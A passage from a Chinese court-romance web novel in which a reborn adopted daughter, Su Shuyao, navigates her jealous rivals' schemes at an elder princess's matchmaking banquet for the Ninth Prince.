她终于松口要去看花灯，苏舒窈脸上的兴奋藏都藏不住。 哪像现在这样，听说她不去，毫无波澜，扭头就走。 苏明芷脸色铁青，站在原处，一言不发。 苏舒窈离开后，苏明珠的眼泪终于忍不住了，好似断线的珠子，吧嗒吧嗒往下掉：“父亲，你千万别生气，虽然姐姐不顾姐妹之情，但我也不怪姐姐的。” “母亲教育女儿，虽然姐姐是养女，和我们没有血缘关系，但一荣俱荣一损俱损，我们是一个整体。” “女儿要是有了机遇，肯定愿意提携姐姐一把的。但，女儿瞧着，姐姐的性子越来越凉薄了，姐姐要是攀上的贵人，会不会反而把侯府踩上一脚啊？” “她敢！” 威远侯的声音虽然很大，却底气不足。 这个养女，最近性子变得越来越难以捉摸了。 “本侯绝对不会允许这样的事发生！” 如果苏舒窈敢反咬侯府，那他会把她扼杀在摇篮里，根本不会给她巴结贵人的机会。 瞧着威远侯的样子，苏明珠便知自己目的达到了。 “愣在这里干什么？还不快滚回院子里去！” 对于没有价值的子女，威远侯一向都没有好脸色。 “父亲，我忽然想起，不用姐姐带着，我也能去长公主府的。”苏明珠柔声道：“之前户部侍郎家的冷姐姐给我递了信儿，让我跟着一同去。” 威远侯大喜：“你和户部侍郎家的千金有交情？” “嗯。” “快让门房准备马车，别迟到了，有什么需要尽管开口。” 威远侯的黑脸绽放开来，翻脸比翻书还快。 想要在威远侯府立足，一定要有价值。 ~ 苏明珠带着苏明芷去了户部侍郎府。 “如烟姐姐，不好意思，让你久等了。”苏明珠早料到苏舒窈不会带她一起，她早上那一出是故意的。 她能哄得万氏讨厌苏舒窈，也能哄得威远侯憎恶她。 没有她苏舒窈，她一样能进入长公主府。 真当自己是一盘菜了。 “行啦，走吧，别误了时辰。”冷如烟刚刚打扮好。 她一袭白衣，身姿如弱柳扶风。 不是那种初见惊艳的浓艳型美人，倒像是三月梨花，让人心生怜惜。 几人坐上马车，往长公主府赶去。 忽然，街道传来一阵喧哗。 撩开帘子一看，楚翎曜骑着黑马奔驰。 马鞭清扬时，青丝随风轻拂过他精致的眉眼。 如骄阳般闪耀。 冷如烟双眼一亮：“是九殿下。” 立刻吩咐车夫：“快，跟上去。” 冷如烟倾慕九殿下。 苏明珠心中暗喜。 要是让冷如烟得知苏舒窈和九殿下之间的不正当关系，苏舒窈不知道会死得有多惨。 期待！ 第123章 妒火 通往长公主府的长街上，马车排着长龙，行驶缓慢。 冷如烟只能眼睁睁看着楚翎曜骑着马，消失在长街尽头。 “今儿运气真不错，竟然碰到了九皇子殿下。” 冷如烟捂着胸口，双颊露出一抹羞怯。 她凝视着楚翎曜离开的方向，一脸希冀。 苏明珠往帘子外看了一眼，想了想，道：“九殿下真是龙章凤姿、渊渟岳峙。成年皇子中，就只有九殿下还没有迎娶正妃吧。” “听说九殿下洁身自好，连个通房侍妾也没有，谁那么好运能嫁给九皇子就好了。” 冷如烟脸上的笑容一顿，声音依然柔柔的：“怎么，你也倾慕九殿下？” 她的语气淡淡的，身姿柔弱，看起来毫无攻击性，但仔细分辨，就能察觉，柔软的语气中潜藏着一股浓浓的鄙视，好似在说，你也配？ 苏明珠和冷如烟是一类人，轻而易举便明白对方言语中隐含的深意。 “没有没有。我这种身份品貌，怎么敢觊觎九殿下那样明月般的人物？”苏明珠立刻正襟危坐，连连摆手。 “我站在九殿下身边，不过一个端茶倒水的小丫鬟。只有如烟姐姐这般高洁出尘的人儿，和九殿下并肩而立，才是一道人人称赞的风景。” 冷如烟见对方有自知之明，语调也变得轻快起来：“明珠妹妹不用妄自菲薄，好歹也是侯府出身，如果真的喜欢九殿下，谋划一个侍妾之位，也是有机会的。” “来日，如果我们姐妹二人共事一夫，也算一番佳话。” 苏明珠连忙推辞：“不敢不敢，姐姐不要再抬举我了，这话传出去，真是要笑掉别人的大牙了。” 冷如烟试探了一番，见她真的对九殿下没有心思，这才放心下来。 苏明珠又道：“听闻姐姐和九殿下是青梅竹马？” “算不上啦，只是小时候进宫看望姑母，和九殿下说过几次话而已。” 冷如烟的姑母良妃，是六皇子生母。六皇子和九皇子关系不错，冷如烟进宫看望姑母的时候，曾和九皇子有数面之缘。 十二岁那年，她第一次见到九殿下，便被误了终身。 回家之后，便立志非君不嫁。 听说九殿下要选妃，更是激动得好几夜都没合拢眼。 今日更是铆足劲要在赏花宴上给九殿下留下深刻的印象。 马车并排而行，隔壁马车传出一道悦耳的女声：“冷姐姐，又在做九殿下正妃的梦了！” 冷如烟暗自咬了咬牙，随即马上恢复，撩开帘子，柔声道：“瑾瑶妹妹，你别胡说，我和九殿下只是儿时玩伴罢了。” 岳瑾瑶哈哈大笑：“既然姐姐骂我胡说，那我便要争一争这九皇子的正妃之位了，姐姐不会介意吧？” 她看起来像是在开玩笑，却有种以假乱真的语气。 “瑾瑶妹妹，哪有女子这般不矜持的？我不要和你说话了。” 放下帘子，冷如烟压低嗓音：“刚刚那是辅国公世子家的三姑娘岳瑾瑶。” 辅国公，那不是上一世苏明芷嫁的人家吗？ 苏明珠透过缝隙往外一看，果然，辅国公家的五少爷岳清晏正骑着马，跟在一旁。 上一世，苏明芷嫁给岳清晏后，整天以泪洗面。 虽然享受着国公府的荣华富贵，吃穿用度都是顶级，但过得不开心，人生还有什么意思？ 这一世，她一定要支持苏明芷追求真爱。 今日听说长公主还请不少才子，明芷妹妹上一世的情郎也在其中。 不知道两人见面的时机，会不会因此提前。 “你在想什么？”冷如烟见苏明珠愣神，不满地推了她一把。 “没想什么，就是觉得岳姑娘胆子也太大了些，哪有姑娘把嫁人的事挂在嘴边的。”苏明珠觑着冷如烟的脸色：“如烟姐姐不必担心，虽然只见一面，我觉得岳姑娘样样都不如如烟姐姐，九殿下定会选姐姐的。” “哎呀，说什么啊，好羞啊，再说我不理你了。”冷如烟娇羞地低下头。 苏明珠也娇羞地低下头，身上起了不少鸡皮疙瘩。 “岳瑾瑶也喜欢九殿下，别当我不知道。”娇羞完毕，冷如烟抬起头，朝着辅国公家马车的方向，咬了咬牙。 眼中的妒火快藏不住了。 苏明珠暗道，九殿下阴鸷疯批，没想到这么多贵女喜欢。 也是，九殿下丰神俊朗，面冠如玉，苏明珠活了两世，也很难找到比九殿下还好看的人物。 这些贵女平时都被教育要温良恭俭，离经叛道的九殿下对她们来说有着天然的吸引力。 “九殿下确实不错，就是吧，听说九殿下掌管锦衣卫，有些残暴。” 冷如烟抿了抿唇：“那是有原因的，我相信，只要我付出真心，一定能融化九殿下那颗冰凉的心。” 辅国公的马车就在隔壁，冷如烟不想多说话，怕又被岳瑾瑶给听去。 见辅国公的马车走远，苏明珠才道：“如烟姐姐，宁侧妃娘娘的信您看了吗？” 冷如烟这才想起还有这么一档子事儿：“你姐姐这么坏啊？竟然欺负宁姐姐。” 苏明芷插话道：“如烟姐姐，我姐姐好过分，今日她还拒绝带着我和明珠姐姐参加花宴。” 冷如烟不痛不痒地应着：“是吗？” 她和宁侧妃是有些交情，但今日是她最重要的日子，她不可能冒着风险去陷害别人。 孰轻孰重她还是分得清的。 苏明珠一眼就看出了对方的想法，支吾道：“有一件事，不知道该不该告诉如烟姐姐，事关九殿下......” 冷如烟：“九殿下什么事，你快说。” 苏明珠凑过去，压低声音道：“姐姐和九殿下私下里交往密切......之前大哥被关进了镇抚司诏狱，母亲寿辰那天，九殿下亲自把大哥送回侯府，好像就是看在大姐姐的面子上，九殿下到了侯府，谁都不理，只和大姐姐说话......” 冷如烟越听心越凉，听到最后，指甲几乎掐进了肉里。 “明珠，你姐姐真的好过分啊，不仅欺负你和明芷，还欺负宁姐姐。看来我定要为宁姐姐好生教育一下她。” “我也不想教育她的，只是希望她别这么骄纵，懂得为人的分寸。” 第124章 利用 另一边，苏舒窈和万家两位表妹坐了同一辆马车。 万家两位表妹不敢说话。 她们听说舒窈姐姐性子温和，是整个侯府最好说话的人儿，舒窈姐姐看起来也是温婉柔顺的女娘，没想到温柔中却也这般坚定。 两个小表妹瑟缩着身子，低着头，车厢里气氛有些紧张。 苏舒窈淡淡一笑：“两位表妹不用太拘谨，我不吃人。” 万映霞年龄稍大，胆子也比万映霜大一些：“舒窈姐姐，那今日就麻烦你了。” 苏舒窈笑着回道：“不麻烦。” 这两个表妹是万氏大哥家的女儿，万氏大哥在兵部任职，五品官，说大不大，说小不小。 找个门当户对的容易，但万家心高，总想着让女儿高嫁。 不然也不会听说苏舒窈手上有长公主府的请帖，便巴巴地把人送来了。 两个表妹虽然有高嫁之意，却没有害人之心，只要她们不主动招惹，苏舒窈不会故意为难。 万映霞：“舒窈姐姐，我又想嫁入高门，又不想给人当妾，你看我这样的，行不行啊？” 小姑娘脸上还挂着婴儿肥，娇俏可爱。 万氏二哥家有个大姐儿，及笄之后送去了三皇子府，现在是三皇子的侍妾。 大姐儿偶尔回家，都是穿金戴银，但她们万家连三皇子的亲戚都算不上。 大姐儿在三皇子府中也过得艰难，侧妃娘娘身边得宠的婆子丫鬟都能给她脸色看。 最重要的是，大姐不能给家里助力。 苏舒窈笑道：“也不是不能。” 上一世，苏明芷在她的筹谋下，嫁给了辅国公嫡幼子。 落魄侯府的嫡女，嫁给国公府的嫡子，实乃高嫁中的典范。 可苏明芷却万般不愿意。 上一世，苏明芷和穷书生私奔，苏舒窈连夜派人去找，幸亏找回得及时，没有酿成大祸。 她给了穷书生一大笔银钱，连夜把穷书生送出京城，又花了大力气封锁消息，将对苏明芷的伤害减到最小。 最后还帮助苏明芷嫁入国公府。 结果，苏明芷嫁入国公府之后，恨她入骨，骂她蛇蝎心肠，拆散了她和真爱。 既然苏明芷不想要高门婚事，这一世，她一定会双手双脚成全她和穷书生的爱情。 辅国公府的资源，她会牢牢抓在自己手上。 几人正说着话，忽然马车停了下来。 “大小姐，到了。” 苏舒窈扶着秋霜的手下车，没走几步，身后传来苏明珠的声音。 “舒窈姐姐。” 转过头，一下就迎上苏明珠挑衅的眼神。 “姐姐，可真巧啊，又见面了。” 苏明芷得意的嘴角都快翘到天上去了：“苏舒窈，没想到吧，没有你，我们也能来！” “呵，在家拽得跟个叫鸡似的？真以为自己本事大得很？本事大的这京城可就多了！” 苏舒窈不甚在意，她根本没将苏明珠和苏明芷两姐妹的挑衅放在眼里。 两个草包，就算来了长公主府，也掀不起风浪。 忽然，她隐隐感受到一股不怀好意的视线，顺着视线看过去，一名白衣女子从苏明珠身后站了出来。 “明珠妹妹，这位就是你的姐姐吧。” 白衣女子身形瘦削，五官柔媚，身姿如弱柳扶风。 苏明珠笑着为二人介绍：“如烟姐姐，这是我的姐姐苏舒窈，姐姐，这位是户部侍郎家的千金，冷如烟。” “如烟姐姐，虽然舒窈姐姐只是侯府养女，但老夫人在世的时候很是疼爱她，姐姐在经商一道上也很有天赋。” 简单一句话，便点名了苏舒窈的身份。 一个寄人篱下的养女，老夫人在世的时候得宠。 士农工商，经商乃末流，好人家的姑娘不会到处宣传自己擅于经商。 由此可见，老夫人去世后，苏舒窈在侯府过得不如意。 果然，周围贵女们的眼神变得玩味起来，有几个牙尖的丫鬟直接议论起来：“这种人怎么进入长公主府的，不会是偷的花贴吧？” “人家有钱呗，说不定用什么下流手段搞来的吧，毕竟今日是为谢小郡王和九殿下选妃，谁不想来啊？” “以为自己有些姿色就能高嫁了？长公主虽然说了，给谢小郡王选妃不看门第，但也不是什么阿猫阿狗都能被选上的！” 正在这时，冷如烟忽然走上前挽起苏舒窈的手来：“别胡说，舒窈妹妹哪有你们说的那么不堪！舒窈妹妹上一次赏花宴就来过的，是长公主亲自下的帖子！” 有姑娘劝她：“如烟姐姐，你的身份贵重，可不能被这种人玷污了。” 冷如烟声音柔柔的，语气却坚定：“我不允许你们诋毁舒窈妹妹，再胡说八道，我去叫公主府的管事了。” 听说要叫公主府管事，围观人群这才散了。 “舒窈，我们一起进去。”冷如烟挽着人，就要往里走。 苏舒窈看了她一眼，表面上柔弱好心的一女子，如果她拒绝对方的好意，贵女们的唾沫星子能把她给淹了。 她记得很清楚，这位冷小姐，可是九殿下的痴心追随者。 这次赏花宴，也是奔着九皇子来的。 她对自己这么热情，定然是苏明珠在她面前说了些什么。 苏明珠的嘴里，可没什么好话。 苏舒窈回握住冷如烟的手，浅浅一笑：“多谢如烟姐姐帮我解围。” 冷如烟柔声道：“你和明珠是姐妹，也是我的姐妹。” 冷如烟也在暗自打量苏舒窈。 苏舒窈五官精致，眉眼间带了三分媚气，但她身上独有的一份沉稳冲淡了那股媚，如远山含黛般晕染开来，有种别样的大气婉约。 又好看，又耐看，关键还不轻浮，骨子里透出的温婉与沉静，轻易就能坐稳当家主母的位置。 幸亏她出身卑微，没有资格和她竞争王妃之位。 即便这样，冷如烟也不敢掉以轻心，要是让苏舒窈成为成了九殿下的侍妾，定会分走宠爱。 九殿下的爱，她要全部霸占。 冷如烟心里打着小算盘，面上却越发亲热：“舒窈妹妹，平时读了什么书，有些什么爱好啊？” 她虽然对外宣称是九殿下的青梅竹马，实际上她很清楚，九殿下比冰块还冷，非常难接近。 如果苏舒窈真的和九殿下私下往来密切，她可以利用苏舒窈接近九殿下。 利用完，除掉就是。 第125章 渣男 简单一面，冷如烟便和苏舒窈亲如姐妹，密不可分。 “舒窈妹妹，你用的什么香，好独特啊，气味像兰花，淡淡的，好雅致。” 冷如烟喜好香料，平日里也喜欢调香，却从来调不出这般别致的兰香。 不似荷香清涟，也不似桂香浓烈，在鼻尖缓缓晕染开来，清幽又雅致。 冷如烟抱着不怀好意的目的接近，现在却是真心实意想要苏舒窈身上的香。 听说九殿下忽然爱上了兰花，皇子府最近新进了不少兰花。 苏舒窈今日用了兰香，想必也是冲着九殿下来的。 好心机一养女！ 苏舒窈回以一个标准的假笑：“闲来无事自己调制的。姐姐要是喜欢，妹妹把方子抄给你。” “妹妹也喜欢调香？”冷如烟柔柔地笑开来：“太好了，那我们今儿会有说不完的话了。” 看着冷如烟和苏舒窈交好，苏明芷心里好似吃了一整颗柠檬。 她拉着苏明珠，气呼呼道：“明珠姐姐，如烟姐姐怎么和苏舒窈交好了？走，我们快上去把两人分开，不能让苏舒窈把如烟姐姐抢走了！” 苏明珠一点也不担心，冷如烟好沉得住气，她的手段，比她想象中还要高明许多。 她拍着苏明芷的手，小声解释：“如烟姐姐自然有打算，你别去破坏。” 苏明芷惊讶了一瞬：“姐姐的意思是，如烟姐姐是假意接近，好让苏舒窈放松警惕，今日在赏花宴上，定要给她点颜色尝尝......” 苏明珠赶紧去捂她的嘴：“知道就行了，说出来干什么？” “放心，没人听到......”苏明芷以为身边没人，转头一看，万家两个表姑娘紧紧跟在她和苏明珠身后。 苏明芷眉毛一拧：“你们俩鬼鬼祟祟的，跟在我和明珠姐姐身后干什么？是不是在偷听我和明珠姐姐说话？！” 万映霞站在原地，不卑不亢道：“明芷表妹，这条路你买了吗？你走得，我们走不得？” 万家两位表姑娘是打算和苏舒窈一起的，但苏舒窈被冷如烟挽着走在前头，她们只得跟在后面。 苏明珠和苏明芷走在冷如烟身后，她们四人便走得近了。 苏明芷没想到对方会顶嘴，回骂道：“两个跟着苏舒窈打秋风的，哪里来的脾气？” 万映霞淡笑一声：“你不也是跟着户部侍郎家的冷姑娘打秋风？咱都是打秋风的，还能分个高低贵贱了？！” 苏明芷还要回骂，被苏明珠拉住了：“别说了，周围这么多人看着呢！” 苏明芷小声嘀咕：“就她们俩那个熊样，还想高嫁？想屁吃呢！” 万映霞牵着自家妹妹跟在苏舒窈背后：“别理明芷，她就是个棒槌。” 长公主府的花厅很大，中间竖了块屏风，将男宾与女宾分开来。 女宾这边都坐了一半，男宾还没入场呢。 冷如烟拉着苏舒窈坐在一起，苏舒窈刚坐下，就看到一个书生打扮的人马虎走错了方向，绕到了女宾这边。 忽然见到这么多贵女，书生一张脸涨得通红，低着头连连作揖赔礼，引得一旁的贵女捂嘴偷笑。 “哪里来的呆瓜，左右不分。” “倒是个守礼的，闭着眼睛退回去的。” “长得也不错，不知道是哪家的公子，倒是有几分憨直。” 苏舒窈眼尖，一眼就认出来，那个书生，正是上一世诱哄苏明芷的落榜举子周慕云。 周慕云表面装得志向远大，风骨铮铮，实际上精于算计。 诱哄苏明芷，也是盼着苏明芷的嫁妆来养家。 周慕云是家中三子，前面两个哥哥，七八个嗷嗷待哺的侄儿侄女，家中还有个脾气暴躁的老娘。 他是家里唯一一个读书成才的举子，全家人的希望。 两个哥哥供他读书，盼着他学成归来扛起养家的重担。 偏偏周慕云又不是个会钻营的，科举落第之后又被同窗排挤，平时写书赚的银子还不够自己花销，便把主意打到了女人身上。 上一世，苏舒窈找到私奔的两人，将苏明芷安顿好之后，周慕云狮子大开口要十万两，不然就把他和苏明芷的事宣传出去。 苏舒窈威逼利诱，给了五万两。 之后听说苏明芷嫁入辅国公府，周慕云又来要过两回钱。 是个贪得无厌的。 想必刚刚走错地方，也是故意为之，长公主府这么多伺候的丫鬟，不知道路不会张口问？ 表面装得老实罢了。 果然，周慕云刚退回去，不远处苏明芷的声音传来：“明珠姐姐，刚刚那个公子是哪家的，我瞧着倒是有几分顺眼，不知道身上有没有功名？” 苏明珠：“小声点，公开场合评论男子不是淑女所为。” 苏明芷吐了吐舌头：“姐姐别这么紧张，大家都在议论呢。” 苏舒窈笑了笑，这一世，苏明芷和周慕云的相遇提前了。 如果苏明芷要嫁，她一定会送上一份厚礼。 今儿正好是女儿节，案几上摆了不少瓜果、九孔针、五彩丝线。 女儿节这日，迎着月光，快速将丝线全部穿过九孔针，便为“得巧”。相传，“得巧”的姑娘，能觅得良婿。 苏舒窈拿起九孔针端详，九根针并排一起，要将丝线一次性穿过，确实要手巧才行。 高门大户的闺阁女子，从小便要学习琴棋书画舞艺刺绣等拿得出手的技艺。 老夫人没让她学那些。 老夫人告诉她，她的身份不一样，学琴棋书画，对她无用，反而会让她沦为棋子。 不如学习经商的本事，有了银钱傍身，才有在侯府生活的底气。 跳舞，还是她自己偷偷学的。 小时候她不懂，现在明白了，她长得好，要是精通琴棋书画，定会沦为联姻的工具。 不对，依威远侯和万氏的脾性，联姻都是对她的仁慈。 说不定什么时候，就被稀里糊涂送人了。 今儿，她定不能“得巧”了。 忽然，一道爽朗的笑声在耳边响起。 “如烟，又换姐妹了？”岳瑾瑶笑盈盈看过来：“这次的姐妹有点面生。” 苏舒窈笑着看过去，颔首行礼：“岳姐姐。” 上一世，苏明芷嫁的是岳瑾瑶的小叔，她和岳瑾瑶打过几次交道，知道她是个飒爽憨直、眼睛里揉不得沙子的女子。 岳瑾瑶笑着和苏舒窈点了点头：“苏妹妹可得擦亮眼了，如烟妹妹什么都好，就是有些废姐妹。” 这是在提醒她，小心冷如烟。 苏舒窈假装不懂，正要开口询问，冷如烟私下里拉了拉她的袖子：“长公主来了。” 长公主扶着丫鬟的手走了进来，跟在长公主身后的，还有谢瑜和楚翎曜。 看到楚翎曜，冷如烟的小心脏忽然剧烈跳动起来。 她没有像往常一样一直盯着楚翎曜，反而是分出了一些余光在苏舒窈身上。 第126章 看了三眼 长公主坐在主位上，看着满室环肥燕瘦的姑娘，眼睛笑得眯了起来：“有幸与诸位贵女欢聚一堂，共话风雅，实乃幸事。桌上的瓜果，待会儿大家可以拿去河边，让喜蛛织网，桌上的针线，大家也可以穿着玩玩儿。” 桌上准备的道具，是想借此看看姑娘们的仪态是否端庄，手巧不巧。 这次赏花宴办得隆重，不仅安排了诗会，男宾那边还有骑射比赛，更是留足了空间让贵女们近距离和两位男主角接触。 楚翎曜站在长公主身后。 一身玄色蟒服，玉带勒紧腰身，玉质金相、矜贵无双。 他的瞳仁偏深，仿若照不入光的幽潭，覆盖着一层化不开的寒冰。 苏舒窈敏锐地察觉到，九殿下的心情不太好。 想是被拉来相亲，被这么多女子盯着，浑身不自在吧。 相反，站在他身旁的谢瑜神情轻松许多。 谢瑜脸上挂着淡淡的微笑，眉眼柔和，看起来心情不错。 他穿了一身素色直缀，眉眼间晕着一股淡淡的书卷气，标准的江南百年世家花大力气培育出来的公子。 温柔、儒雅、又清贵。 和楚翎曜站一起，有种一冷一热的既视感。 谢瑜趁着长公主不注意，偷偷朝着苏舒窈眨了眨眼。 他的动作幅度很小，不注意根本看不出来。 苏舒窈再看向楚翎曜时，发现他的脸色更臭了。 苏舒窈想看一看，在场贵女的视线，落在九殿下身上的多一些，还是在谢瑜身上多一些。 她刚一转头，就对上了冷如烟的视线。 冷如烟正凛着眼，直愣愣盯着她。 牙关咬紧，颇有一副要啖其血肉的狠劲，和她平时表现出的弱柳扶风大相径庭。 冷如烟搭在案几上的手指绷紧捏起，泛起深红血色。 眼底的妒火更是要将她烧成灰烬。 苏舒窈微微往后仰了仰头，讶然：“如烟姐姐，你干什么？” 怎么一副看到灭门仇人的感觉。 冷如烟察觉到自己的失态，扯了扯嘴角，脸上强行挤出一个深刻的笑来：“妹妹别动，一只小虫落在妹妹发丝上了。” 说着，捏着手中团扇，朝着苏舒窈头发上扇了扇。 “好了，虫子掉了。” 打完虫子，又解释为什么刚刚的脸色会那么怪：“那虫子忽然飞过来，吓我一跳。” 苏舒窈淡淡一笑：“原来如此，我还以为自己做了什么事，得罪了姐姐呢。” “没有。”冷如烟柔柔一笑：“妹妹快别看我了，快看谢小郡王和九殿下吧。” “对了，舒窈妹妹，九殿下和谢小郡王，你更喜欢谁啊？” 苏舒窈淡淡一笑：“我喜欢九殿下。” 冷如烟深吸一口气，差点没绷住脸上的表情。 苏舒窈那个贱人，凭什么喜欢九殿下！ 九殿下出现之后，冷如烟便一直在暗中观察。 虽然九殿下并没有和苏舒窈眉来眼去，但九殿下暗中看了苏舒窈三眼。 对的，三眼，她数得清清楚楚。 看一眼还算是意外，连续看了三眼，必定有情况。 不仅如此，她还发现，谢小郡王也在看苏舒窈。 谢小郡王还悄悄朝着苏舒窈眨眼睛。 谢小郡王朝着苏舒窈眨完眼睛之后，九殿下的脸色有些黑。 其实九殿下的脸色一直那样，但冷如烟是九殿下的忠实追随者，经过长期观察，她明白九殿下脸上的每一个微表情。 如果冷如烟没猜错，九殿下是吃醋了。 看清这一场景，冷如烟当场破了个大防，心碎了一地。 苏舒窈那个卑贱的落魄侯府养女，不仅勾搭了九殿下，还和谢小郡王不清不楚！ 真是恶毒又淫荡。！ 九殿下怎么回事，怎么会看上苏舒窈那种女子？！ 眼瞎了吗？ 冷如烟气得浑身发抖，苏舒窈这种低贱又卑劣的商户，必定是使了下作的手段，才迷惑了九殿下。 不行，她一定要找机会告诉九殿下苏舒窈的真面目。 苏舒窈可没空去了解冷如烟复杂的心理活动，没一会儿，驸马出现了。 驸马牵起长公主的手，一派伉俪情深。 苏舒窈第一次看到驸马，不免多看了两眼。 驸马已经年过四十，但保养得极好，身姿挺拔，眉目疏朗。 百年大族谢家的儿郎，还是当年的探花。不难推测，驸马年轻时也是名噪一时的俊俏儿郎。 怪不得会被长公主看中。 其实，世家大族不愿让族中子弟尚主，一旦尚主，便不能入朝为官。 谢驸马当年尚主，谢家内部肯定经历过一番血雨腥风。 现在看来，公主和驸马的感情很好，坊间也没有没有驸马纳妾的传闻。 苏舒窈看了一眼，便挪开了视线。 “舒窈妹妹，我们一起去放瓜果吧。”冷如烟捧着篮子，朝着苏舒窈柔弱一笑。 长公主给每人准备了一个瓜果篮子，把篮子放到河边，等会儿晚上再来看看是否有喜蛛在里面结网。 喜蛛在瓜果上结网，便代表乞巧成功，蛛网完整细密，则代表“得巧多”，反之，则“得巧少”。 “得巧多”，则表明该女子心灵手巧，接下来一年都会事事顺意，也能找到如意的郎君。 两人来到河边，冷如烟将写有自己名字的帕子放到篮子里：“舒窈妹妹，你放手帕还是香囊啊？” 她紧紧地盯着苏舒窈，不管她放什么到篮子里，等会儿都会不见，然后出现在某位公子的手上。 女子的贴身物件落入他人手中，可是对名声有很大的影响。 轻则名誉损毁，重则无人敢娶。 皇家不可能给九殿下娶一个德行有亏的女子。 在冷如烟的注视下，苏舒窈随便捡了片叶子放进篮子里。 冷如烟嗔道：“你放一片叶子怎么行，万一叶子被吹走，便和别人的篮子分不清了。” 苏舒窈又放了一颗石头进去：“这下好了，风吹不走了。” 冷如烟还要再劝，苏舒窈反过来教育道：“如烟姐姐，我劝你还是别放写了自己名字的帕子，要是被不怀好意的人捡了去，可是有十张嘴也说不清。” 冷如烟阴谋被点破，讪笑两声：“哎呀，还好妹妹提醒我了，我还是放块石头进去吧。” 苏舒窈：“我放两块石头，如烟姐姐放一块，这下就不会混淆了。” 放好瓜果篮子，男宾那边的骑射比赛快要开始了。 两人离开后，不知道过了多久，苏舒窈的瓜果篮子里，赫然出现一只五彩斑斓的毒蜘蛛。 第127章 九殿下的心上人 初秋时节，茉莉飘香。 公主府的演武场上，一片好风光。 天空雄鹰盘旋，大夏的优秀儿郎们骑着骏马，踏碎了一地碎金。 “九殿下今儿要下场？还特地换了骑装？” “九殿下不会下场的，最多就是跑两圈。之前在燕山围猎，陛下亲自点名让他上场，他都找借口溜了。” “九殿下玉树临风，英姿飒爽，怎么就不下场呢！可恶！” 演武场边上的凉棚里，时不时传来贵女们的议论声。 苏舒窈入座之后，一眼就在人群里瞧见了楚翎曜。 楚翎曜一袭绯色骑装，驰骋在草地上，仿若一道跃动的火焰。 秋风猎猎，衣摆的大红宝相纹边穗如浪潮般翻飞，与手上的银色弯弓互相映照。 红的炽热、银的凛冽，撞出一派锐不可当的少年英气。 银鞍照白马，飒沓如流星。 苏舒窈一错不错地看过去，眼底倒映着一团红色的火焰，直把白腻的脸颊晕染出醉人的樱粉。 冷如烟差点哭出声来。 她刚刚看到了，九殿下又往苏舒窈这边看了好几眼。 两人还四目相对了。 冷如烟自诩比容妃都了解九殿下，九殿下性情冷漠，低调沉稳，这种骑射比赛，他一般不会参加。 九殿下矜贵无双、高雅出尘，不会为了取悦某人，把自己搞得满身臭汗。 他只会凝着一双幽深的眸子，静静地端坐于高台，嘴角噙着一抹嘲讽，用一种近乎于挑剔的目光，严苛地审视着场上比试的男子。 绝不会像现在一样，专门换上骑装，刻意打扮一番，在奔腾的骏马上尽情地展示自己的身姿。 像一只开屏的公孔雀。 看到这一幕，冷如烟整个人都快要裂开了，喉咙好似吞了刀子一般疼痛。 脑子里忽然出现一个想法：九殿下有心上人了，心上人不是她。 胸口哇凉一片。 一股强烈的窒息感席卷全身，冷如烟差点被气得当场闭气而亡。 “如烟姐姐，你怎么了，哪里不舒服呀？” 苏舒窈感觉到有些不对劲，一转头，便看见冷如烟的脸皱成了一团，捏着扇柄的手指甲被压成了白色，整个人摇摇欲坠。 好似要碎了。 冷如烟后悔接近苏舒窈了。 一开始，她打算利用苏舒窈接近九殿下。 可是，看到九殿下和苏舒窈偷偷摸摸眉来眼去，她心中醋海翻涌、心如刀绞。 九殿下的心思很隐秘。 在常人看来，九殿下的表现很正常，他并未刻意表现出对谁多一分关心。 只有非常了解他的人，从细致末梢推测，才能看出来。 简言之，九殿下和苏舒窈之间不同寻常的关系，只有她看出来了。 心中悲凉更甚。 “没、没什么，想是天气燥热，心里有些烦躁，喝点水就好了。”冷如烟端起案几上的茶盏，咕咚咕咚猛灌。 灌了整整一盏茶，还觉得心中烦躁难消。 苏舒窈，你个贱人，我冷如烟绝对不会让你一直得意下去的！ “苏姑娘、冷姑娘，你们要不要下注？”帘子撩开，长公主府的吴公公进入凉棚。吴公公身后跟着两个捧着册子的小太监。 苏舒窈愣了愣：“不是不能赌博吗？” 朝廷才不久颁发了戒赌令，苏明沛上次赌马还被锦衣卫抓了。 吴公公笑道：“是不能，但特殊日子除外，这也是长公主殿下同意了的。其实也不算赌，不过是有个彩头，儿郎们比试的积极性也会高涨许多。” 苏舒窈懂了，这就是特权阶级的权力。 平民不能赌，但特权阶级可以。 只要手握权力，便可为所欲为。 高门大户里，后院主母与宠妾之间撕得头破血流，也是为了抓住后宅那点微薄的权利。 “这是谢小郡王弄的吧？”苏舒窈接过册子，捧在手中翻阅。 “苏姑娘怎么知道？这就是谢小郡王提议的。”吴公公笑道。 苏舒窈当然知道，谢瑜那个唯利是图的家伙，不会轻易放过任何一个发财的机会。 她接过册子一看，谢小郡王赔率很正常，一比三。 但，九殿下的赔率非常高。 一比九。 “这赔率怎么回事？九殿下骑射很差吗？看起来不像啊？” 苏舒窈顺着视线看出去，九殿下骑在骏马上，英姿飒爽。 苏舒窈刚望出去，楚翎曜感受到她的视线，立刻回看了过来。 视线交汇，一触即分。 短暂的对视，空气中火花四溅。 九殿下应该一直在关注苏舒窈，要不然也不会第一视线就回看过来。 两人的互动被冷如烟一点不差地看在眼里，指甲几乎掐进了肉里。 她比任何人都了解九殿下。 以前的她常为此沾沾自喜。 现在的她，恨不得什么都不懂。 九殿下卖弄武艺，却是为了取悦别的女子。 冷如烟咬牙切齿，恨不得自戳双目。 苏舒窈把册子递过去：“如烟姐姐，你要下注吗？” 冷如烟摸着哇凉哇凉的胸口，如寒风中飘零的落叶般凄凉。 之前的弱柳扶风是装的，现在的破碎感是真的。 “我有些不舒服，出门透透气。内侍大人，失礼了。” 说完，便扶着丫鬟的手，迈着沉痛的步子出了凉棚。 苏舒窈的视线重新回到册子上：“内侍大人，九殿下的赔率是不是填错了？” 吴公公笑道：“苏姑娘，您别看九殿下现在这般，说不定他骑马绕两圈就下去了。” 九殿下的脾性是出了名的冷硬，看不上眼的人、不熟悉的人，他是绝对不会与之比试。 更不可能容忍别人在他身上下注。 听说有赌局，他下意识就是反对，还是长公主哄着他同意的。 苏舒窈明白了：“九殿下这个赔率，就是写出来让人看看的吧，也没人敢在九殿下身上下注。” 吴公公笑道：“苏姑娘兰心蕙质、一点就通。大家普遍看好谢小郡王，苏姑娘不妨多关注谢小郡王一些。” 大夏人在人情世故这块拿捏得很稳，尤其是在长公主的地盘，参赛者多多少少都会放点水，只要谢瑜不拉胯得太厉害，肯定会胜出。 大家几乎不约而同默认了这一项潜规则，因此，大部分赌注都押到了谢瑜身上。 